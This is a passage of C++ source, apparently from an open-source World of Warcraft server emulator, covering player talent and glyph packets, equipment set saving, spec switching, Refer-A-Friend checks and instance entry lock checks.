for(PlayerTalentMap::iterator iter = m_talents[specIdx].begin(); iter != m_talents[specIdx].end(); ++iter)
{
PlayerTalent talent = (*iter).second;
if (talent.state == PLAYERSPELL_REMOVED)
continue;
// skip another tab talents
if (talent.talentEntry->TalentTab != talentTabId)
continue;
*data << uint32(talent.talentEntry->TalentID); // Talent.dbc
*data << uint8(talent.currentRank); // talentMaxRank (0-4)
++talentIdCount;
}
}
data->put<uint8>(pos, talentIdCount); // put real count
*data << uint8(MAX_GLYPH_SLOT_INDEX); // glyphs count
// GlyphProperties.dbc
for(uint8 i = 0; i < MAX_GLYPH_SLOT_INDEX; ++i)
*data << uint16(m_glyphs[specIdx][i].GetId());
}
}
}
void Player::BuildPetTalentsInfoData(WorldPacket *data)
{
uint32 unspentTalentPoints = 0;
size_t pointsPos = data->wpos();
*data << uint32(unspentTalentPoints); // [PH], unspentTalentPoints
uint8 talentIdCount = 0;
size_t countPos = data->wpos();
*data << uint8(talentIdCount); // [PH], talentIdCount
Pet *pet = GetPet();
if(!pet)
return;
unspentTalentPoints = pet->GetFreeTalentPoints();
data->put<uint32>(pointsPos, unspentTalentPoints); // put real points
CreatureInfo const *ci = pet->GetCreatureInfo();
if(!ci)
return;
CreatureFamilyEntry const *pet_family = sCreatureFamilyStore.LookupEntry(ci->family);
if(!pet_family || pet_family->petTalentType < 0)
return;
for(uint32 talentTabId = 1; talentTabId < sTalentTabStore.GetNumRows(); ++talentTabId)
{
TalentTabEntry const *talentTabInfo = sTalentTabStore.LookupEntry( talentTabId );
if(!talentTabInfo)
continue;
if(!((1 << pet_family->petTalentType) & talentTabInfo->petTalentMask))
continue;
for(uint32 talentId = 0; talentId < sTalentStore.GetNumRows(); ++talentId)
{
TalentEntry const* talentInfo = sTalentStore.LookupEntry(talentId);
if(!talentInfo)
continue;
// skip another tab talents
if (talentInfo->TalentTab != talentTabId)
continue;
// find max talent rank
int32 curtalent_maxrank = -1;
for(int32 k = 4; k > -1; --k)
{
if (talentInfo->RankID[k] && pet->HasSpell(talentInfo->RankID[k]))
{
curtalent_maxrank = k;
break;
}
}
// not learned talent
if (curtalent_maxrank < 0)
continue;
*data << uint32(talentInfo->TalentID); // Talent.dbc
*data << uint8(curtalent_maxrank); // talentMaxRank (0-4)
++talentIdCount;
}
data->put<uint8>(countPos, talentIdCount); // put real count
break;
}
}
void Player::SendTalentsInfoData(bool pet)
{
WorldPacket data(SMSG_TALENT_UPDATE, 50);
data << uint8(pet ? 1 : 0);
if (pet)
BuildPetTalentsInfoData(&data);
else
BuildPlayerTalentsInfoData(&data);
GetSession()->SendPacket(&data);
}
void Player::BuildEnchantmentsInfoData(WorldPacket *data)
{
uint32 slotUsedMask = 0;
size_t slotUsedMaskPos = data->wpos();
*data << uint32(slotUsedMask); // slotUsedMask < 0x80000
for(uint32 i = 0; i < EQUIPMENT_SLOT_END; ++i)
{
Item *item = GetItemByPos(INVENTORY_SLOT_BAG_0, i);
if(!item)
continue;
slotUsedMask |= (1 << i);
*data << uint32(item->GetEntry()); // item entry
uint16 enchantmentMask = 0;
size_t enchantmentMaskPos = data->wpos();
*data << uint16(enchantmentMask); // enchantmentMask < 0x1000
for(uint32 j = 0; j < MAX_ENCHANTMENT_SLOT; ++j)
{
uint32 enchId = item->GetEnchantmentId(EnchantmentSlot(j));
if(!enchId)
continue;
enchantmentMask |= (1 << j);
*data << uint16(enchId); // enchantmentId?
}
data->put<uint16>(enchantmentMaskPos, enchantmentMask);
*data << uint16(item->GetItemRandomPropertyId());
*data << item->GetGuidValue(ITEM_FIELD_CREATOR).WriteAsPacked();
*data << uint32(item->GetItemSuffixFactor());
}
data->put<uint32>(slotUsedMaskPos, slotUsedMask);
}
void Player::SendEquipmentSetList()
{
uint32 count = 0;
WorldPacket data(SMSG_LOAD_EQUIPMENT_SET, 4);
size_t count_pos = data.wpos();
data << uint32(count); // count placeholder
for(EquipmentSets::iterator itr = m_EquipmentSets.begin(); itr != m_EquipmentSets.end(); ++itr)
{
if (itr->second.state==EQUIPMENT_SET_DELETED)
continue;
data.appendPackGUID(itr->second.Guid);
data << uint32(itr->first);
data << itr->second.Name;
data << itr->second.IconName;
for(uint32 i = 0; i < EQUIPMENT_SLOT_END; ++i)
{
// ignored slots stored in IgnoreMask, client wants "1" as raw GUID, so no HIGHGUID_ITEM
if (itr->second.IgnoreMask & (1 << i))
data << ObjectGuid(uint64(1)).WriteAsPacked();
else
data << ObjectGuid(HIGHGUID_ITEM, itr->second.Items[i]).WriteAsPacked();
}
++count; // client have limit but it checked at loading and set
}
data.put<uint32>(count_pos, count);
GetSession()->SendPacket(&data);
}
void Player::SetEquipmentSet(uint32 index, EquipmentSet eqset)
{
if (eqset.Guid != 0)
{
bool found = false;
for(EquipmentSets::iterator itr = m_EquipmentSets.begin(); itr != m_EquipmentSets.end(); ++itr)
{
if((itr->second.Guid == eqset.Guid) && (itr->first == index))
{
found = true;
break;
}
}
if(!found) // something wrong...
{
sLog.outError("Player %s tried to save equipment set "UI64FMTD" (index %u), but that equipment set not found!", GetName(), eqset.Guid, index);
return;
}
}
EquipmentSet& eqslot = m_EquipmentSets[index];
EquipmentSetUpdateState old_state = eqslot.state;
eqslot = eqset;
if (eqset.Guid == 0)
{
eqslot.Guid = sObjectMgr.GenerateEquipmentSetGuid();
WorldPacket data(SMSG_EQUIPMENT_SET_ID, 4 + 1);
data << uint32(index);
data.appendPackGUID(eqslot.Guid);
GetSession()->SendPacket(&data);
}
eqslot.state = old_state == EQUIPMENT_SET_NEW ? EQUIPMENT_SET_NEW : EQUIPMENT_SET_CHANGED;
}
void Player::_SaveEquipmentSets()
{
static SqlStatementID updSets ;
static SqlStatementID insSets ;
static SqlStatementID delSets ;
for(EquipmentSets::iterator itr = m_EquipmentSets.begin(); itr != m_EquipmentSets.end();)
{
uint32 index = itr->first;
EquipmentSet& eqset = itr->second;
switch(eqset.state)
{
case EQUIPMENT_SET_UNCHANGED:
++itr;
break; // nothing do
case EQUIPMENT_SET_CHANGED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(updSets, "UPDATE character_equipmentsets SET name=?, iconname=?, ignore_mask=?, item0=?, item1=?, item2=?, item3=?, item4=?, "
"item5=?, item6=?, item7=?, item8=?, item9=?, item10=?, item11=?, item12=?, item13=?, item14=?, "
"item15=?, item16=?, item17=?, item18=? WHERE guid=? AND setguid=? AND setindex=?");
stmt.addString(eqset.Name);
stmt.addString(eqset.IconName);
stmt.addUInt32(eqset.IgnoreMask);
for (int i = 0; i < EQUIPMENT_SLOT_END; ++i)
stmt.addUInt32(eqset.Items[i]);
stmt.addUInt32(GetGUIDLow());
stmt.addUInt64(eqset.Guid);
stmt.addUInt32(index);
stmt.Execute();
eqset.state = EQUIPMENT_SET_UNCHANGED;
++itr;
break;
}
case EQUIPMENT_SET_NEW:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(insSets, "INSERT INTO character_equipmentsets VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
stmt.addUInt32(GetGUIDLow());
stmt.addUInt64(eqset.Guid);
stmt.addUInt32(index);
stmt.addString(eqset.Name);
stmt.addString(eqset.IconName);
stmt.addUInt32(eqset.IgnoreMask);
for (int i = 0; i < EQUIPMENT_SLOT_END; ++i)
stmt.addUInt32(eqset.Items[i]);
stmt.Execute();
eqset.state = EQUIPMENT_SET_UNCHANGED;
++itr;
break;
}
case EQUIPMENT_SET_DELETED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(delSets, "DELETE FROM character_equipmentsets WHERE setguid = ?");
stmt.PExecute(eqset.Guid);
m_EquipmentSets.erase(itr++);
break;
}
}
}
}
void Player::_SaveBGData(bool forceClean)
{
if (forceClean)
m_bgData = BGData();
// nothing save
else if (!m_bgData.m_needSave)
return;
static SqlStatementID delBGData ;
static SqlStatementID insBGData ;
SqlStatement stmt = CharacterDatabase.CreateStatement(delBGData, "DELETE FROM character_battleground_data WHERE guid = ?");
stmt.PExecute(GetGUIDLow());
if (m_bgData.bgInstanceID || m_bgData.forLFG)
{
stmt = CharacterDatabase.CreateStatement(insBGData, "INSERT INTO character_battleground_data VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
/* guid, bgInstanceID, bgTeam, x, y, z, o, map, taxi[0], taxi[1], mountSpell */
stmt.addUInt32(GetGUIDLow());
stmt.addUInt32(m_bgData.bgInstanceID);
stmt.addUInt32(uint32(m_bgData.bgTeam));
stmt.addFloat(m_bgData.joinPos.coord_x);
stmt.addFloat(m_bgData.joinPos.coord_y);
stmt.addFloat(m_bgData.joinPos.coord_z);
stmt.addFloat(m_bgData.joinPos.orientation);
stmt.addUInt32(m_bgData.joinPos.mapid);
stmt.addUInt32(m_bgData.taxiPath[0]);
stmt.addUInt32(m_bgData.taxiPath[1]);
stmt.addUInt32(m_bgData.mountSpell);
stmt.Execute();
}
m_bgData.m_needSave = false;
}
void Player::DeleteEquipmentSet(uint64 setGuid)
{
for(EquipmentSets::iterator itr = m_EquipmentSets.begin(); itr != m_EquipmentSets.end(); ++itr)
{
if (itr->second.Guid == setGuid)
{
if (itr->second.state == EQUIPMENT_SET_NEW)
m_EquipmentSets.erase(itr);
else
itr->second.state = EQUIPMENT_SET_DELETED;
break;
}
}
}
void Player::ActivateSpec(uint8 specNum)
{
if (GetActiveSpec() == specNum)
return;
if (specNum >= GetSpecsCount())
return;
if (Pet* pet = GetPet())
pet->Unsummon(PET_SAVE_REAGENTS, this);
SendActionButtons(2);
// prevent deletion of action buttons by client at spell unlearn or by player while spec change in progress
SendLockActionButtons();
ApplyGlyphs(false);
// copy of new talent spec (we will use it as model for converting current tlanet state to new)
PlayerTalentMap tempSpec = m_talents[specNum];
// copy old spec talents to new one, must be before spec switch to have previous spec num(as m_activeSpec)
m_talents[specNum] = m_talents[m_activeSpec];
SetActiveSpec(specNum);
// remove all talent spells that don't exist in next spec but exist in old
for (PlayerTalentMap::iterator specIter = m_talents[m_activeSpec].begin(); specIter != m_talents[m_activeSpec].end();)
{
PlayerTalent& talent = specIter->second;
if (talent.state == PLAYERSPELL_REMOVED)
{
++specIter;
continue;
}
PlayerTalentMap::iterator iterTempSpec = tempSpec.find(specIter->first);
// remove any talent rank if talent not listed in temp spec
if (iterTempSpec == tempSpec.end() || iterTempSpec->second.state == PLAYERSPELL_REMOVED)
{
TalentEntry const *talentInfo = talent.talentEntry;
for(int r = 0; r < MAX_TALENT_RANK; ++r)
if (talentInfo->RankID[r])
{
removeSpell(talentInfo->RankID[r],!IsPassiveSpell(talentInfo->RankID[r]),false);
SpellEntry const *spellInfo = sSpellStore.LookupEntry(talentInfo->RankID[r]);
for (int k = 0; k < MAX_EFFECT_INDEX; ++k)
if (spellInfo->EffectTriggerSpell[k])
removeSpell(spellInfo->EffectTriggerSpell[k]);
// if spell is a buff, remove it from group members
// TODO: this should affect all players, not only group members?
if (SpellEntry const *spellInfo = sSpellStore.LookupEntry(talentInfo->RankID[r]))
{
bool bRemoveAura = false;
for (int i = 0; i < MAX_EFFECT_INDEX; ++i)
{
if ((spellInfo->Effect[i] == SPELL_EFFECT_APPLY_AURA ||
spellInfo->Effect[i] == SPELL_EFFECT_APPLY_AREA_AURA_RAID) &&
IsPositiveEffect(spellInfo, SpellEffectIndex(i)))
{
bRemoveAura = true;
break;
}
}
Group *group = GetGroup();
if (bRemoveAura && group)
{
for(GroupReference *itr = group->GetFirstMember(); itr != NULL; itr = itr->next())
{
if (Player *pGroupGuy = itr->getSource())
{
if (pGroupGuy->GetObjectGuid() == GetObjectGuid())
continue;
if (SpellAuraHolderPtr holder = pGroupGuy->GetSpellAuraHolder(talentInfo->RankID[r], GetObjectGuid()))
pGroupGuy->RemoveSpellAuraHolder(holder);
}
}
}
}
}
specIter = m_talents[m_activeSpec].begin();
}
else
++specIter;
}
// now new spec data have only talents (maybe different rank) as in temp spec data, sync ranks then.
for (PlayerTalentMap::const_iterator tempIter = tempSpec.begin(); tempIter != tempSpec.end(); ++tempIter)
{
PlayerTalent const& talent = tempIter->second;
// removed state talent already unlearned in prev. loop
// but we need restore it if it deleted for finish removed-marked data in DB
if (talent.state == PLAYERSPELL_REMOVED)
{
m_talents[m_activeSpec][tempIter->first] = talent;
continue;
}
uint32 talentSpellId = talent.talentEntry->RankID[talent.currentRank];
// learn talent spells if they not in new spec (old spec copy)
// and if they have different rank
if (PlayerTalent const* cur_talent = GetKnownTalentById(tempIter->first))
{
if (cur_talent->currentRank != talent.currentRank)
learnSpell(talentSpellId, false);
}
else
learnSpell(talentSpellId, false);
// sync states - original state is changed in addSpell that learnSpell calls
PlayerTalentMap::iterator specIter = m_talents[m_activeSpec].find(tempIter->first);
if (specIter != m_talents[m_activeSpec].end())
specIter->second.state = talent.state;
else
{
sLog.outError("ActivateSpec: Talent spell %u expected to learned at spec switch but not listed in talents at final check!", talentSpellId);
// attempt resync DB state (deleted lost spell from DB)
if (talent.state != PLAYERSPELL_NEW)
{
PlayerTalent& talentNew = m_talents[m_activeSpec][tempIter->first];
talentNew = talent;
talentNew.state = PLAYERSPELL_REMOVED;
}
}
}
InitTalentForLevel();
// recheck action buttons (not checked at loading/spec copy)
ActionButtonList const& currentActionButtonList = m_actionButtons[m_activeSpec];
for(ActionButtonList::const_iterator itr = currentActionButtonList.begin(); itr != currentActionButtonList.end(); )
{
if (itr->second.uState != ACTIONBUTTON_DELETED)
{
// remove broken without any output (it can be not correct because talents not copied at spec creating)
if (!IsActionButtonDataValid(itr->first,itr->second.GetAction(),itr->second.GetType(), this, false))
{
removeActionButton(m_activeSpec,itr->first);
itr = currentActionButtonList.begin();
continue;
}
}
++itr;
}
ResummonPetTemporaryUnSummonedIfAny();
ApplyGlyphs(true);
SendInitialActionButtons();
Powers pw = getPowerType();
if (pw != POWER_MANA)
SetPower(POWER_MANA, 0);
SetPower(pw, 0);
}
void Player::UpdateSpecCount(uint8 count)
{
uint8 curCount = GetSpecsCount();
if (curCount == count)
return;
// maybe current spec data must be copied to 0 spec?
if (m_activeSpec >= count)
ActivateSpec(0);
// copy spec data from new specs
if (count > curCount)
{
// copy action buttons from active spec (more easy in this case iterate first by button)
ActionButtonList const& currentActionButtonList = m_actionButtons[m_activeSpec];
for(ActionButtonList::const_iterator itr = currentActionButtonList.begin(); itr != currentActionButtonList.end(); ++itr)
{
if (itr->second.uState != ACTIONBUTTON_DELETED)
{
for(uint8 spec = curCount; spec < count; ++spec)
addActionButton(spec,itr->first,itr->second.GetAction(),itr->second.GetType());
}
}
}
// delete spec data for removed specs
else if (count < curCount)
{
// delete action buttons for removed spec
for(uint8 spec = count; spec < curCount; ++spec)
{
// delete action buttons for removed spec
for(uint8 button = 0; button < MAX_ACTION_BUTTONS; ++button)
removeActionButton(spec,button);
}
}
SetSpecsCount(count);
SendTalentsInfoData(false);
}
void Player::RemoveAtLoginFlag( AtLoginFlags f, bool in_db_also /*= false*/ )
{
m_atLoginFlags &= ~f;
if (in_db_also)
CharacterDatabase.PExecute("UPDATE characters set at_login = at_login & ~ %u WHERE guid ='%u'", uint32(f), GetGUIDLow());
}
void Player::SendClearCooldown( uint32 spell_id, Unit* target )
{
if (!target)
return;
WorldPacket data(SMSG_CLEAR_COOLDOWN, 4+8);
data << uint32(spell_id);
data << target->GetObjectGuid();
SendDirectMessage(&data);
}
void Player::BuildTeleportAckMsg(WorldPacket& data, float x, float y, float z, float ang) const
{
MovementInfo mi = m_movementInfo;
mi.ChangePosition(x, y, z, ang);
data.Initialize(MSG_MOVE_TELEPORT_ACK, 64);
data << GetPackGUID();
data << uint32(0); // this value increments every time
data << mi;
}
bool Player::HasMovementFlag( MovementFlags f ) const
{
return m_movementInfo.HasMovementFlag(f);
}
void Player::ResetTimeSync()
{
m_timeSyncCounter = 0;
m_timeSyncTimer = 0;
m_timeSyncClient = 0;
m_timeSyncServer = WorldTimer::getMSTime();
}
void Player::SendTimeSync()
{
WorldPacket data(SMSG_TIME_SYNC_REQ, 4);
data << uint32(m_timeSyncCounter++);
GetSession()->SendPacket(&data);
// Schedule next sync in 10 sec
m_timeSyncTimer = 10000;
m_timeSyncServer = WorldTimer::getMSTime();
}
void Player::SendDuelCountdown(uint32 counter)
{
WorldPacket data(SMSG_DUEL_COUNTDOWN, 4);
data << uint32(counter); // seconds
GetSession()->SendPacket(&data);
}
bool Player::IsImmuneToSpell(SpellEntry const* spellInfo) const
{
return Unit::IsImmuneToSpell(spellInfo);
}
bool Player::IsImmuneToSpellEffect(SpellEntry const* spellInfo, SpellEffectIndex index) const
{
switch(spellInfo->Effect[index])
{
case SPELL_EFFECT_ATTACK_ME:
return true;
default:
break;
}
switch(spellInfo->EffectApplyAuraName[index])
{
case SPELL_AURA_MOD_TAUNT:
return true;
default:
break;
}
return Unit::IsImmuneToSpellEffect(spellInfo, index);
}
void Player::SetHomebindToLocation(WorldLocation const& loc, uint32 area_id)
{
m_homebindMapId = loc.mapid;
m_homebindAreaId = area_id;
m_homebindX = loc.coord_x;
m_homebindY = loc.coord_y;
m_homebindZ = loc.coord_z;
// update sql homebind
CharacterDatabase.PExecute("UPDATE character_homebind SET map = '%u', zone = '%u', position_x = '%f', position_y = '%f', position_z = '%f' WHERE guid = '%u'",
m_homebindMapId, m_homebindAreaId, m_homebindX, m_homebindY, m_homebindZ, GetGUIDLow());
}
Object* Player::GetObjectByTypeMask(ObjectGuid guid, TypeMask typemask)
{
switch(guid.GetHigh())
{
case HIGHGUID_ITEM:
if (typemask & TYPEMASK_ITEM)
return GetItemByGuid(guid);
break;
case HIGHGUID_PLAYER:
if (GetObjectGuid()==guid)
return this;
if ((typemask & TYPEMASK_PLAYER) && IsInWorld())
return ObjectAccessor::FindPlayer(guid);
break;
case HIGHGUID_GAMEOBJECT:
if ((typemask & TYPEMASK_GAMEOBJECT) && IsInWorld())
return GetMap()->GetGameObject(guid);
break;
case HIGHGUID_UNIT:
case HIGHGUID_VEHICLE:
if ((typemask & TYPEMASK_UNIT) && IsInWorld())
return GetMap()->GetCreature(guid);
break;
case HIGHGUID_PET:
if ((typemask & TYPEMASK_UNIT) && IsInWorld())
return GetMap()->GetPet(guid);
break;
case HIGHGUID_DYNAMICOBJECT:
if ((typemask & TYPEMASK_DYNAMICOBJECT) && IsInWorld())
return GetMap()->GetDynamicObject(guid);
break;
case HIGHGUID_TRANSPORT:
case HIGHGUID_CORPSE:
case HIGHGUID_MO_TRANSPORT:
case HIGHGUID_INSTANCE:
case HIGHGUID_GROUP:
default:
break;
}
return NULL;
}
void Player::CompletedAchievement(AchievementEntry const* entry)
{
GetAchievementMgr().CompletedAchievement(entry);
}
void Player::CompletedAchievement(uint32 uiAchievementID)
{
GetAchievementMgr().CompletedAchievement(sAchievementStore.LookupEntry(uiAchievementID));
}
void Player::SetRestType( RestType n_r_type, uint32 areaTriggerId /*= 0*/)
{
rest_type = n_r_type;
if (rest_type == REST_TYPE_NO)
{
RemoveFlag(PLAYER_FLAGS, PLAYER_FLAGS_RESTING);
// Set player to FFA PVP when not in rested environment.
if (sWorld.IsFFAPvPRealm())
SetFFAPvP(true);
}
else
{
SetFlag(PLAYER_FLAGS, PLAYER_FLAGS_RESTING);
inn_trigger_id = areaTriggerId;
time_inn_enter = time(NULL);
if (sWorld.IsFFAPvPRealm())
SetFFAPvP(false);
}
}
void Player::SetRandomWinner(bool isWinner)
{
m_IsBGRandomWinner = isWinner;
if (m_IsBGRandomWinner)
CharacterDatabase.PExecute("INSERT INTO character_battleground_random (guid) VALUES ('%u')", GetGUIDLow());
}
void Player::_LoadRandomBGStatus(QueryResult *result)
{
//QueryResult *result = CharacterDatabase.PQuery("SELECT guid FROM character_battleground_random WHERE guid = '%u'", GetGUIDLow());
if (result)
{
m_IsBGRandomWinner = true;
delete result;
}
}
// Refer-A-Friend
void Player::SendReferFriendError(ReferAFriendError err, Player * target)
{
WorldPacket data(SMSG_REFER_A_FRIEND_ERROR, 24);
data << uint32(err);
if (target && (err == ERR_REFER_A_FRIEND_NOT_IN_GROUP || err == ERR_REFER_A_FRIEND_SUMMON_OFFLINE_S))
data << target->GetName();
GetSession()->SendPacket(&data);
}
ReferAFriendError Player::GetReferFriendError(Player * target, bool summon)
{
if (!target || target->GetTypeId() != TYPEID_PLAYER)
return summon ? ERR_REFER_A_FRIEND_SUMMON_OFFLINE_S : ERR_REFER_A_FRIEND_NO_TARGET;
if (!IsReferAFriendLinked(target))
return ERR_REFER_A_FRIEND_NOT_REFERRED_BY;
if (Group * gr1 = GetGroup())
{
Group * gr2 = target->GetGroup();
if (!gr2 || gr1->GetId() != gr2->GetId())
return ERR_REFER_A_FRIEND_NOT_IN_GROUP;
}
if (summon)
{
if (HasSpellCooldown(45927))
return ERR_REFER_A_FRIEND_SUMMON_COOLDOWN;
if (target->getLevel() > sWorld.getConfig(CONFIG_UINT32_RAF_MAXGRANTLEVEL))
return ERR_REFER_A_FRIEND_SUMMON_LEVEL_MAX_I;
if (MapEntry const* mEntry = sMapStore.LookupEntry(GetMapId()))
if (mEntry->Expansion() > target->GetSession()->Expansion())
return ERR_REFER_A_FRIEND_INSUF_EXPAN_LVL;
}
else
{
if (GetTeam() != target->GetTeam() && !sWorld.getConfig(CONFIG_BOOL_ALLOW_TWO_SIDE_INTERACTION_GROUP))
return ERR_REFER_A_FRIEND_DIFFERENT_FACTION;
if (getLevel() <= target->getLevel())
return ERR_REFER_A_FRIEND_TARGET_TOO_HIGH;
if (!GetGrantableLevels())
return ERR_REFER_A_FRIEND_INSUFFICIENT_GRANTABLE_LEVELS;
if (GetDistance(target) > DEFAULT_VISIBILITY_DISTANCE || !target->IsVisibleGloballyFor(this))
return ERR_REFER_A_FRIEND_TOO_FAR;
if (target->getLevel() >= sWorld.getConfig(CONFIG_UINT32_RAF_MAXGRANTLEVEL))
return ERR_REFER_A_FRIEND_GRANT_LEVEL_MAX_I;
}
return ERR_REFER_A_FRIEND_NONE;
}
void Player::ChangeGrantableLevels(uint8 increase)
{
if (increase)
{
if (m_GrantableLevelsCount <= int32(sWorld.getConfig(CONFIG_UINT32_RAF_MAXGRANTLEVEL) * sWorld.getConfig(CONFIG_FLOAT_RATE_RAF_LEVELPERLEVEL)))
m_GrantableLevelsCount += increase;
}
else
{
m_GrantableLevelsCount -= 1;
if (m_GrantableLevelsCount < 0)
m_GrantableLevelsCount = 0;
}
// set/unset flag - granted levels
if (m_GrantableLevelsCount > 0)
{
if (!HasByteFlag(PLAYER_FIELD_BYTES, 1, 0x01))
SetByteFlag(PLAYER_FIELD_BYTES, 1, 0x01);
}
else
{
if (HasByteFlag(PLAYER_FIELD_BYTES, 1, 0x01))
RemoveByteFlag(PLAYER_FIELD_BYTES, 1, 0x01);
}
}
bool Player::CheckRAFConditions()
{
if (Group * grp = GetGroup())
{
for(GroupReference *itr = grp->GetFirstMember(); itr != NULL; itr = itr->next())
{
Player* member = itr->getSource();
if (!member || !member->isAlive())
continue;
if (GetObjectGuid() == member->GetObjectGuid())
continue;
if (member->GetAccountLinkedState() == STATE_NOT_LINKED)
continue;
if (GetDistance(member) < 100 && (getLevel() <= member->getLevel() + 4))
return true;
}
}
return false;
}
AccountLinkedState Player::GetAccountLinkedState()
{
RafLinkedList const* referredAccounts = sAccountMgr.GetRAFAccounts(GetSession()->GetAccountId(), true);
RafLinkedList const* referalAccounts = sAccountMgr.GetRAFAccounts(GetSession()->GetAccountId(), false);
if (!referredAccounts || !referalAccounts)
return STATE_NOT_LINKED;
if (!referredAccounts->empty() && !referalAccounts->empty())
return STATE_DUAL;
if (!referredAccounts->empty())
return STATE_REFER;
if (!referalAccounts->empty())
return STATE_REFERRAL;
return STATE_NOT_LINKED;
}
void Player::LoadAccountLinkedState()
{
RafLinkedList const* referredAccounts = sAccountMgr.GetRAFAccounts(GetSession()->GetAccountId(), true);
if (referredAccounts)
{
if (referredAccounts->size() > sWorld.getConfig(CONFIG_UINT32_RAF_MAXREFERERS))
sLog.outError("Player:RAF:Warning: loaded %u referred accounts instead of %u for player %s",referredAccounts->size(),sWorld.getConfig(CONFIG_UINT32_RAF_MAXREFERERS),GetObjectGuid().GetString().c_str());
else
DEBUG_LOG("Player:RAF: loaded %u referred accounts for player %u",referredAccounts->size(),GetObjectGuid().GetString().c_str());
}
RafLinkedList const* referalAccounts = sAccountMgr.GetRAFAccounts(GetSession()->GetAccountId(), false);
if (referalAccounts)
{
if (referalAccounts->size() > sWorld.getConfig(CONFIG_UINT32_RAF_MAXREFERALS))
sLog.outError("Player:RAF:Warning: loaded %u referal accounts instead of %u for player %u",referalAccounts->size(),sWorld.getConfig(CONFIG_UINT32_RAF_MAXREFERALS),GetObjectGuid().GetString().c_str());
else
DEBUG_LOG("Player:RAF: loaded %u referal accounts for player %u",referalAccounts->size(),GetObjectGuid().GetString().c_str());
}
}
bool Player::IsReferAFriendLinked(Player* target)
{
// check link this(refer) - target(referral)
RafLinkedList const* referalAccounts = sAccountMgr.GetRAFAccounts(GetSession()->GetAccountId(), false);
if (referalAccounts)
{
for (RafLinkedList::const_iterator itr = referalAccounts->begin(); itr != referalAccounts->end(); ++itr)
if ((*itr) == target->GetSession()->GetAccountId())
return true;
}
// check link target(refer) - this(referral)
RafLinkedList const* referredAccounts = sAccountMgr.GetRAFAccounts(GetSession()->GetAccountId(), true);
if (referredAccounts)
{
for (RafLinkedList::const_iterator itr = referredAccounts->begin(); itr != referredAccounts->end(); ++itr)
if ((*itr) == target->GetSession()->GetAccountId())
return true;
}
return false;
}
AreaLockStatus Player::GetAreaTriggerLockStatus(AreaTrigger const* at, Difficulty difficulty)
{
if (!at)
return AREA_LOCKSTATUS_UNKNOWN_ERROR;
MapEntry const* mapEntry = sMapStore.LookupEntry(at->target_mapId);
if (!mapEntry)
return AREA_LOCKSTATUS_UNKNOWN_ERROR;
MapDifficultyEntry const* mapDiff = GetMapDifficultyData(at->target_mapId,difficulty);
if (mapEntry->IsDungeon() && !mapDiff)
return AREA_LOCKSTATUS_MISSING_DIFFICULTY;
if (isGameMaster())
return AREA_LOCKSTATUS_OK;
if (GetSession()->Expansion() < mapEntry->Expansion())
return AREA_LOCKSTATUS_INSUFFICIENT_EXPANSION;
if (getLevel() < at->requiredLevel && !sWorld.getConfig(CONFIG_BOOL_INSTANCE_IGNORE_LEVEL))
return AREA_LOCKSTATUS_TOO_LOW_LEVEL;
if (mapEntry->IsDungeon() && mapEntry->IsRaid() && !sWorld.getConfig(CONFIG_BOOL_INSTANCE_IGNORE_RAID))
if (!GetGroup() || !GetGroup()->isRaidGroup())
return AREA_LOCKSTATUS_RAID_LOCKED;
// must have one or the other, report the first one that's missing
if (at->requiredItem)
{
if (!HasItemCount(at->requiredItem, 1) &&
(!at->requiredItem2 || !HasItemCount(at->requiredItem2, 1)))
return AREA_LOCKSTATUS_MISSING_ITEM;
}
else if (at->requiredItem2 && !HasItemCount(at->requiredItem2, 1))
return AREA_LOCKSTATUS_MISSING_ITEM;
bool isRegularTargetMap = GetDifficulty(mapEntry->IsRaid()) == REGULAR_DIFFICULTY;
if (!isRegularTargetMap)
{
if (at->heroicKey)
{
if(!HasItemCount(at->heroicKey, 1) &&
(!at->heroicKey2 || !HasItemCount(at->heroicKey2, 1)))
return AREA_LOCKSTATUS_MISSING_ITEM;
}
else if (at->heroicKey2 && !HasItemCount(at->heroicKey2, 1))
return AREA_LOCKSTATUS_MISSING_ITEM;
}
if (GetTeam() == ALLIANCE)
{
if ((!isRegularTargetMap &&
(at->requiredQuestHeroicA && !GetQuestRewardStatus(at->requiredQuestHeroicA))) ||
(isRegularTargetMap &&
(at->requiredQuestA && !GetQuestRewardStatus(at->requiredQuestA))))
return AREA_LOCKSTATUS_QUEST_NOT_COMPLETED;
}
else if (GetTeam() == HORDE)
{
if ((!isRegularTargetMap &&
(at->requiredQuestHeroicH && !GetQuestRewardStatus(at->requiredQuestHeroicH))) ||
(isRegularTargetMap &&
(at->requiredQuestH && !GetQuestRewardStatus(at->requiredQuestH))))
return AREA_LOCKSTATUS_QUEST_NOT_COMPLETED;
}
uint32 achievCheck = 0;
if (difficulty == RAID_DIFFICULTY_10MAN_HEROIC)
achievCheck = at->achiev0;
else if (difficulty == RAID_DIFFICULTY_25MAN_HEROIC)
achievCheck = at->achiev1;
if (achievCheck)
{
bool bHasAchiev = false;
if (GetAchievementMgr().HasAchievement(achievCheck))
bHasAchiev = true;
else if (Group* group = GetGroup())
{
for (GroupReference* itr = group->GetFirstMember(); itr != NULL; itr = itr->next())
{
Player* member = itr->getSource();
if (member && member->IsInWorld())
if (member->GetAchievementMgr().HasAchievement(achievCheck))
bHasAchiev = true;
}
}
if (!bHasAchiev)
return AREA_LOCKSTATUS_QUEST_NOT_COMPLETED;
}
// If the map is not created, assume it is possible to enter it.
DungeonPersistentState* state = GetBoundInstanceSaveForSelfOrGroup(at->target_mapId);
Map* map = sMapMgr.FindMap(at->target_mapId, state ? state->GetInstanceId() : 0);
if (map && at->combatMode == 1)
{
if (map->GetInstanceData() && map->GetInstanceData()->IsEncounterInProgress())
{
DEBUG_LOG("MAP: Player '%s' can't enter instance '%s' while an encounter is in progress.", GetObjectGuid().GetString().c_str(), map->GetMapName());
return AREA_LOCKSTATUS_ZONE_IN_COMBAT;
}
}
if (map && map->IsDungeon())
{
// cannot enter if the instance is full (player cap), GMs don't count
if (((DungeonMap*)map)->GetPlayersCountExceptGMs() >= ((DungeonMap*)map)->GetMaxPlayers())
return AREA_LOCKSTATUS_INSTANCE_IS_FULL;
InstancePlayerBind* pBind = GetBoundInstance(at->target_mapId, GetDifficulty(mapEntry->IsRaid()));
if (pBind && pBind->perm && pBind->state != state)
return AREA_LOCKSTATUS_HAS_BIND;
